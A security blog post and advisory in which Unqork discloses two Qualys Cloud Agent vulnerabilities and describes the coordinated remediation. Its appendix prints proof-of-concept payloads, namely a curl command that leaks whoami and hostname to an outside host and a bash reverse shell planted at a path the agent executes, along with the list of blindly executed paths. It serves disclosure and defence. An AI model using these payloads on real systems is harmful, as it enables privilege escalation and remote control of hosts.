10 min read

Unqork and Qualys Partner to Resolve Zero-Day Vulnerabilities

About vulnerability disclosures

Responsible vulnerability disclosure (also known as coordinated vulnerability disclosure) is an industry accepted standard that promotes the responsible disclosure of security research and vulnerabilities to provide a vendor with reasonable time to address vulnerabilities through remediation and mitigation prior to the enacting of public disclosure. This process includes a reasonable approach to the coordination of the disclosure which is usually performed after a vendor has had time to address the issues. Typically, this window ranges from 90 to 120 days.

Detecting potential vulnerabilities

While performing security control validation, countermeasure deployment, and testing, Unqork’s Product Security and Threat Detection & Response teams recently discovered multiple vulnerabilities within the Qualys Cloud Agent and promptly began working with Qualys to remediate them.   

The initial alert, which fired on all Linux systems simultaneously within a portion of our cloud estate, was the following command:

/bin/sh /usr/bin/which routersploit

Eager to find out what was looking for routersploit within our estate, and with a hunch it was a Vulnerability Management component, we started digging.

Digging deeper

We were soon able to confirm that the problem lay with the Qualys Cloud Agent, an installable agent for endpoints that enables organizations to execute authenticated scans against their endpoints. This cloud agent, we discovered, was running the above command, as well as others that were suspicious, including an attempt to execute the Metasploit binary msfconsole. 

We investigated further, ascertaining that a vulnerability existed which we confirmed through the weaponization of simple proof of concept exploits. 

Partnering with Qualys

We promptly reached out to Qualys to inform them of the issues we’d discovered, as well as to the CERT Coordination Center and MITRE to initiate the vulnerability coordination process. 

Then, members of the Unqork security team partnered with Qualys to help them understand the vulnerabilities and provided a video demonstration showing how the vulnerabilities of the Qualys cloud agent could be abused to execute arbitrary code, leading to privilege escalation and direct control over the endpoint. 

Together, we went over the list of vulnerabilities, including: 

  • Vulnerability #1: Arbitrary code execution (CVE ID: CVE-2022-29549
  • Vulnerability #2: Sensitive information disclosure (CVE ID: CVE-2022-29550)

For detailed information, see Appendix 1

 

 

Mitigation & remediation

At the time of discovery of vulnerability #1, Qualys recommended installing their Cloud Agent for Linux with root privileges in their Cloud Agent for Linux Installation Guide dated March 9, 2022.  Through several workshops with Qualys and as a part of remediation efforts, Qualys has updated their documentation to reflect modern installation options for organizations following a least privilege approach and removed a recommended deployment option of installing the agent as root by default.

Note that per Qualys, Policy Compliance scans will still require the sudo/root privilege in order to operate as intended for comprehensive detections.

Additionally, Qualys has changed the way the qualys-cloud-agent conducts its vulnerability signature scans. Qualys IDs (QIDs) are vulnerability identifiers assigned by Qualys and used when scanning for vulnerabilities. QIDs that performed blind execution using absolute paths were updated to have an alternative signature checking method, and QIDs using absolute paths that don’t need root privileges were updated to be executed using the safe-exec approach.

Unqork performed two re-tests. The same attack vector leveraged in the original test was unsuccessful as the script used in the original test was no longer being executed by the Qualys Cloud Agent. The second test consisted of creating numerous binaries in absolute paths that Unqork was aware of using the script in Appendix 2. Thirty-three of the absolute binaries were executed by the Qualys Cloud Agent, and 125 binaries were called out in the Qualys Cloud Agent logs as “command not found”. The full list of these binaries can be found in Appendix 1

While Qualys has taken steps to mitigate the issue, there are additional steps that Unqork believes should be taken to prevent the logging of sensitive information (e.g. structure log filtering and tokenization).

Unqork believes that regardless of the state of an endpoint, services should take measures to prevent the logging of sensitive data as a part of secure coding concepts—especially security controls that perform logging functions. Unqork also believes that an attacker need not have access to an endpoint running the qualys-cloud-agent in order to compromise the endpoint.

Conclusion and Transparency

In the Qualys Security Updates: Cloud Agent for Linux blog post, Qualys acknowledged that “lessons learned were identified…and new preventative and detective controls were added to build processes, along with updated to our developer training and development standards.”  

Most vendors will simply patch a vulnerability, which in reality is just a symptom of a larger root cause. In this case, Qualys not only actively sought to partner with Unqork to understand these issues, but also identified areas for improvement on their side to prevent similar occurrences from happening in the future. We commend Qualys for their response and appreciate their partnership in remediating this issue. 

Watch the video about the discovery, mitigation, and remediation of the Qualys vulnerabilities. 


Appendix 1

Vulnerability #1 – Arbitrary Code Execution
CVE ID: CVE-2022-29549  
Severity: High (CVSSv3 7.3
Access Vector: Local
Qualys Advisory ID: Q-PSA-2022-001
Description: Arbitrary Code Execution in the Qualys Cloud Agent allows an attacker to achieve code execution in the context of the qualys-code-agent user.

During its normal operation, Qualys Cloud Agent scans the file system that it’s installed on and attempts to blindly execute specific file paths to shell scripts and binaries (the full paths known to be affected are below in the ‘Additional Information’ section). Due to this behavior, an attacker just has to create (or modify/bind to) a file that qualys-cloud-agent scans for. When the qualys-cloud-agent comes across the file, it then executes it in the context of the Qualys cloud agent, thus allowing an attacker to achieve arbitrary code execution through the qualys-cloud-agent and escalating privileges.  

Example 1 – ‘Malicious’ cURL

A simple script was placed in /opt/mongodb/bin/mongo with a payload to execute a self-cURL to determine if the cloud agent would execute and run the script. As shown in the screenshot below, the HTTP header leaks the user in which the payload was executed; confirming code/command execution (whoami and hostname in this case). The ‘rce’ in the user agent is a misnomer, since at the time of creating this proof of concept we were not fully aware of the exploit chain. This is arbitrary code execution and not rce.

Payload

curl -v -A “current-user-qualys-rce: `whoami`” -H “owned-system-hostname: `hostname`” https://[redacted]

 

Confirming our hunch that this would be exploitable past a simple proof of concept cURL command, we moved on to our next example, establishing a reverse shell as shown below.

Example 2 – Reverse Shell

In parallel to the above proof of concept, Unqork Security created a simple reverse bash shell script that, when executed, establishes a connection from the endpoint with the qualys-cloud-agent installed back to an endpoint controlled by an ‘attacker.’  

Payload

bash -i >& /dev/tcp/LISTENINGIP/PORT 0>&1

With LISTENINGIP being the ‘attacker’s’ host machine and PORT being the port the attacker is listening on – in this case a simple netcat tunnel was leveraged. 

Knowing that the Qualys cloud agent performs blind execution on file paths and binaries in its index of checks, we built our payload into a non-existent file with the reverse bash shell payload from above on the endpoint:

/apps/tomcat/bin/version.sh

At this point, it’s a waiting game for the cloud agent to perform its file scanning.  

Upon scanning for existing files, when such a file exists, the qualys agent executes the binary or script. With moments the qualys-cloud-agent process initialized a reverse bash shell to our ‘attacker’ endpoint (as can be seen in the ptrace below).

Mitigation Recommendations (pre-remediation)

Blind shell and binary execution of untrusted sources on an endpoint makes little sense from a security perspective. Instead, a safer mechanism would be to conduct a binary hash comparison to determine if malicious binaries existed on an endpoint, rather than attempting to locate binaries and executing them. This is especially dangerous if the qualys-cloud-agent is installed as root, or with sudo privileges. In addition, the vast majority of these binary files have the version number embedded in the file itself. A simple python script would be sufficient to open the raw file, examine the version number, and report hash and version. In the event new, unknown files are seen, should dynamic analysis be required, it should be done on an isolated system with customer consent.

In addition, code executed which wasn’t the intended binary can be omitted from logging, potentially due to how the Qualys agent conducts inline grep’ing for expected results (i.e. |grep -i version). Evidence of this being used could be obtained by reconciling the list of Qualys “non-existent” files, with files that actually do exist on the filesystem.

Recommendations for Qualys
  • Investigate additional methods for checking binary metadata, and design an alternative method for identifying versions of potentially malicious files rather than blind execution and grepping for version flags.
  • Research operating system’s native ways to detect and prevent abuse (sandbox) of malicious files and actions that can be hooked by the qualys-cloud-agent.
    • Example: On Linux, an implementation of Secure Computing Berkeley Packet Filter (seccomp-bpf) and other related capabilities can help prevent malicious execution of binaries.
  • Research off-endpoint binary detonation as an alternative to on-host execution, especially for unknown binaries and/or version checking.
  • Build countermeasures to prevent malicious binary execution. Note: The qualys-cloud-agent should be defensively written to prevent arbitrary code execution in the context of the agent.

Vulnerability #2 – Sensitive Information Disclosure

CVE ID: CVE-2022-29550  
Severity: High (CVSSv3 5.5
Access Vector: Local
Qualys Advisory ID: Q-PSA-2022-002
Description: Sensitive Information Disclosure in Qualys Cloud Agent allows an attacker to retrieve sensitive information on disk.  

Due to the way the qualys-cloud-agent behaves, it is possible for non-authorized users, who have exploited CVE-2022-29549, to access sensitive information that is dumped from commands executed with sensitive data that would otherwise be protected and encrypted. 

An example below shows an example of the qualys cloud agent running /bin/ps auxwwe and dumping it into the qualys-cloud-agent-scan.log file. If any commands were run with sensitive credentials passed directly into the command, they would be logged and displayed here. 

Once the above runs by the qualys cloud agent, the clear-text is output to log files only the root user can access. However, by abusing the privilege escalation vulnerability and gaining root privileges, an attacker can elevate privileges and then access environmental secrets being logged to the qualys-cloud-agent-scan.log file.

This is done when the qualys cloud agent runs the /bin/ps auxwwe command and dumps the full output into /var/log/qualys/qualys-cloud-agent-scan.log.

Below is an example of the content contained within the qualys-cloud-agent-scan.log after dumping various environmental variables from a mock-production environment. 

Mitigation (pre-remediation)

To prevent sensitive data (credentials, private keys, tokens, et cetera) from being recovered by a malicious user, the Qualys cloud agent should prevent dumping processes with sensitive information in clear-text, regardless of what permissions are set on the files. 

Remediation

While Qualys has taken steps (see Conclusion and Transparency) to mitigate the issue, there are additional steps that Unqork believes should be taken to prevent the logging of sensitive information (e.g. structure log filtering and tokenization).

Appendix 2

The below is a list of binaries and absolute paths that were discovered to be executed by the qualys-cloud-agent process.

 

/bin/lsnrctl
/opt/IBM/WebSphere/AppServer/bin/versionInfo.sh
/opt/SUNWappserver/bin/asadmin
/opt/SUNWwbsvr/https-admserv/start
/opt/asrmanager/bin/asr
/opt/bmc/bladelogic/RSCD/sbin/version
/opt/boksm/lib/boksversion
/opt/firebird/bin/isql
/opt/glassfishv3/bin/asadmin
/opt/ibm/BPM/v8.0/bin/versionInfo.sh
/opt/ibm/BPM/v8.5/bin/versionInfo.sh
/opt/ibm/BPM/v8.6/bin/versionInfo.sh
/opt/mqm/bin/dspmqver
/opt/nwreg2/local/usrbin/nrcmd
/opt/qradar/bin/myver
/opt/zing/zing-jdk11/bin/java
/opt/zing/zing-jdk7/bin/java
/opt/zing/zing-jdk8/bin/java
/sun/webserver7/bin/wadm
/usr/bin/dropbox
/usr/bin/dspmqver
/usr/bin/hadoop
/usr/bin/kcare-uname
/usr/bin/lsnrctl
/usr/bin/svn
/usr/iplanet/servers/https-admserv/start
/usr/local/bin/db2ls
/usr/local/bin/docker
/usr/local/bin/gpgsm
/usr/local/bin/libmikmod-config
/usr/mqm/bin/dspmqver
/usr/sbin/squid
/usr/sbin/xcomd
npm
activemq
adinfo
aex-diagnostics
airflow
ansible
apache2ctl
aria2c
asterisk
busybox
cabextract
centreon
clamav-config
clamscan
cli
concourse
conda
confluent
containerd
cups-config
datadog-agent
dnsmasq
dpkg
dpu
dropbear
evolution
exim
f5fpc
ffmpeg
firefox
flume-ng
gconftool-2
gem
gfsh
gimp
git
gitlab-rake
globalprotect
goahead
go
gs
HDB
helm
hhvm
hive
httpd
inetutils-telnet
ioslevel
isainfo
java
jerry
jupyter
kibana
konqueror
kubectl
libpng-config
libreoffice4.3
lighttpd
magick
mesos-master
mesos-slave
mmm_agentd
mokutil
mongo
mongod
msfconsole
mutt
mysqld
nagios
named
neomutt
nginx
njs
nmap
node
nodetool
npm
oc
ofxdump
openshift
openvpn
opera
ovdeploy
php
pip
playsmsd
psql
radiusd
rails
redis-cli
redis-sentinel
redis-server
ruby
show
smbclient
smbstatus
snap
snort
socat
ssh-server-config-tool
supervisord
tethereal
thunderbird
tmsh
uptrack-uname
vlc
vmware
vmware-toolbox-cmd
weborf
weechat-curses
wireshark
xe
xentop
xl
xmms
zabbix_server
zf
freeciv-server
java
oc
salt
salt-master
salt-minion
spark-shell
vmware-view

 

Appendix 3

The following shell script can be used to determine if the Qualys Cloud Agent is executing or attempting to execute binaries in your own environment.  With all third-party code, we recommend you review the code before executing it on your endpoint(s).  

#!/bin/bash
## 2022-09-01 - Unqork Threat Detection & Response
## Validate if binaries are still being executed by Qualys Cloud Agent via CVE-2022-29549
## Make TOUCH_NOTHING="FALSE" if you want to see which files are being blindly executed
## Blind executions show up in $log_output_file
#TOUCH_NOTHING="FALSE"
TOUCH_NOTHING="TRUE"
tfilename="cve-2022-29549.test"
log_output_file="~/cve-2022-29549.affected.log"
create_absolute_test_file () {
  ## Check if file exists and is writable as current user
  if [ -w "$1" ]; then
    echo "============= CVE-2022-29549 would affect $(whoami) and $1 ============="
  ## Otherwise dig a bit deeper
  else
    ## Find the folder the file lives in
    omit=$(echo $1|awk -F '/' '{print $NF}')
    fldr=$(echo $1 |sed "s/$omit$//g")
    ## Make sure you actually want to do stuff
    if [ "$TOUCH_NOTHING" == "TRUE" ]; then
      echo "============= Returning instead of creating $1.  You wanted to TOUCH_NOTHING ============="
    else
      ## If you're supposed to be doing stuff check if file is already there
      if [ -e "$1" ]; then
        echo "============= Can't create $1 - already exists. ============="
        echo "============= Since -w was false, you are NOT VULNERABLE with $(whoami) and $1 ============="
      else
        ## File doesn't exist, can we make the folder?
        if [ ! -d "$fldr" ]; then
          echo "============= Attempting to create folder: $fldr ============="
          mkdir -p "$fldr" 2>/dev/null \
 
echo -e “#!/bin/bash\necho \”CVE-2022-29549 still affects the system owners. Executed as file – $0\” >> \”$log_output_file\”” >> “$1” \
chmod +x “$1” \
          && echo "============= Found an wrote out vulnerable test file for CVE-2022-29549 @ file path: $1 ============="
        else
          echo "============= Can't create folder required: $fldr ============="
        fi
      fi
    fi
  fi
}
 
create_relative_test_file () {
  ## Loop through relative files to see if one is exploitable
  for rfile in $RELATIVE_FILES; do
    if [ ! -e "$1/$rfile" ]; then
      echo "============= Found a vulnerable CVE-2022-29549 test file: $1/$rfile ============="
      if [ "$TOUCH_NOTHING" == "TRUE" ]; then
        echo "============= Returning instead of creating $1/$rfile.  You wanted to TOUCH_NOTHING ============="
      else
        echo -e "#!/bin/bash\necho \"CVE-2022-29549 still affects the system owners. Executed as file - $0\" >> \"$log_output_file\"" >> "$1/$rfile" \
        && chmod +x "$1/$rfile"
      fi
      ## Stop after finding 1 vulnerable file
      ## Remove the break if you want to find all vulnerable relative files
      break
    fi
  done
}
 
RELATIVE_FILES="npm
activemq
adinfo
aex-diagnostics
airflow
ansible
apache2ctl
aria2c
asterisk
busybox
cabextract
centreon
clamav-config
clamscan
cli
concourse
conda
confluent
containerd
cups-config
datadog-agent
dnsmasq
dpkg
dpu
dropbear
evolution
exim
f5fpc
ffmpeg
firefox
flume-ng
gconftool-2
gem
gfsh
gimp
git
gitlab-rake
globalprotect
goahead
go
gs
HDB
helm
hhvm
hive
httpd
inetutils-telnet
ioslevel
isainfo
java
jerry
jupyter
kibana
konqueror
kubectl
libpng-config
libreoffice4.3
lighttpd
magick
mesos-master
mesos-slave
mmm_agentd
mokutil
mongo
mongod
msfconsole
mutt
mysqld
nagios
named
neomutt
nginx
njs
nmap
node
nodetool
npm
oc
ofxdump
openshift
openvpn
opera
ovdeploy
php
pip
playsmsd
psql
radiusd
rails
redis-cli
redis-sentinel
redis-server
ruby
show
smbclient
smbstatus
snap
snort
socat
ssh-server-config-tool
supervisord
tethereal
thunderbird
tmsh
uptrack-uname
vlc
vmware
vmware-toolbox-cmd
weborf
weechat-curses
wireshark
xe
xentop
xl
xmms
zabbix_server
zf
freeciv-server
java
oc
salt
salt-master
salt-minion
spark-shell
vmware-view"
 
ABSOLUTE_FILES="/apps/tomcat/bin/version.sh
/bin/lsnrctl
/opt/IBM/HTTPServer/bin/httpd
/opt/IBM/WebSphere/AppServer/bin/versionInfo.sh
/opt/IBM/tivoli/impact/bin/versioninfo.sh
/opt/IHS/bin/httpd
/opt/McAfee/agent/bin/msaconfig
/opt/SUNWappserver/bin/asadmin
/opt/SUNWwbsvr/https-admserv/start
/opt/apache-tomcat-7.0.22/bin/version.sh
/opt/asrmanager/bin/asr
/opt/bmc/bladelogic/RSCD/sbin/version
/opt/boksm/lib/boksversion
/opt/cdunix/etc/cdver
/opt/cisco/anyconnect/bin/vpn
/opt/cisco/vpn/bin/vpn
/opt/firebird/bin/isql
/opt/glassfishv3/bin/asadmin
/opt/hp/hpsmh/sbin/hpsmhd
/opt/ibm/BPM/v8.0/bin/versionInfo.sh
/opt/ibm/BPM/v8.5/bin/versionInfo.sh
/opt/ibm/BPM/v8.6/bin/versionInfo.sh
/opt/logstash/bin/logstash
/opt/logstash/bin/logstash-plugin
/opt/mongodb/bin/mongo
/opt/mqipt/bin/mqiptVersion
/opt/mqm/bin/dspmqver
/opt/nwreg2/local/usrbin/nrcmd
/opt/omni/bin/omnicc
/opt/qradar/bin/myver
/opt/splunk/bin/splunk
/opt/zing/zing-jdk11/bin/java
/opt/zing/zing-jdk7/bin/java
/opt/zing/zing-jdk8/bin/java
/sun/webserver7/bin/wadm
/usr/bin/dropbox
/usr/bin/dspmqver
/usr/bin/hadoop
/usr/bin/kcare-uname
/usr/bin/svn
/usr/iplanet/servers/https-admserv/start
/usr/local/BerkeleyDB.5.1/bin/db_stat
/usr/local/BerkeleyDB.5.2/bin/db_stat
/usr/local/BerkeleyDB.5.3/bin/db_stat
/usr/local/BerkeleyDB.6.0/bin/db_stat
/usr/local/BerkeleyDB/bin/db_stat
/usr/local/avamar/bin/mccli
/usr/local/bin/db2ls
/usr/local/bin/docker
/usr/local/bin/gpgsm
/usr/local/bin/libmikmod-config
/usr/local/nagios/bin/nagios
/usr/local/seamonkey/seamonkey
/usr/local/squid/sbin/squid
/usr/mqm/bin/dspmqver
/usr/openv/netbackup/bin/bpps
/usr/sbin/rsct/bin/samversion
/usr/sbin/squid
/usr/sbin/xcomd
/usr/share/kibana/bin/kibana"
 
## Go see if the relative path binaries are exploitable
echo $PATH|sed 's/:/\n/g'|while read pathdir; do
  touch "$pathdir/$tfilename" 2>/dev/null && rm -f "$pathdir/$tfilename" \
  && echo "============= Found a writable folder in PATH - $pathdir . Relative files placed in $pathdir should work for privilege escalation =============" \
  && create_relative_test_file "$pathdir" \
  && echo "============= We stop after we find a single vulnerable file, so as not to clutter the filesystem. Re-run as needed, or modify as required ============="
done
 
for afile in $ABSOLUTE_FILES; do
  create_absolute_test_file $afile
done

 

Take a self-guided tour of Unqork’s Codeless-as-a-Service (CaaS) platform

Take the tour!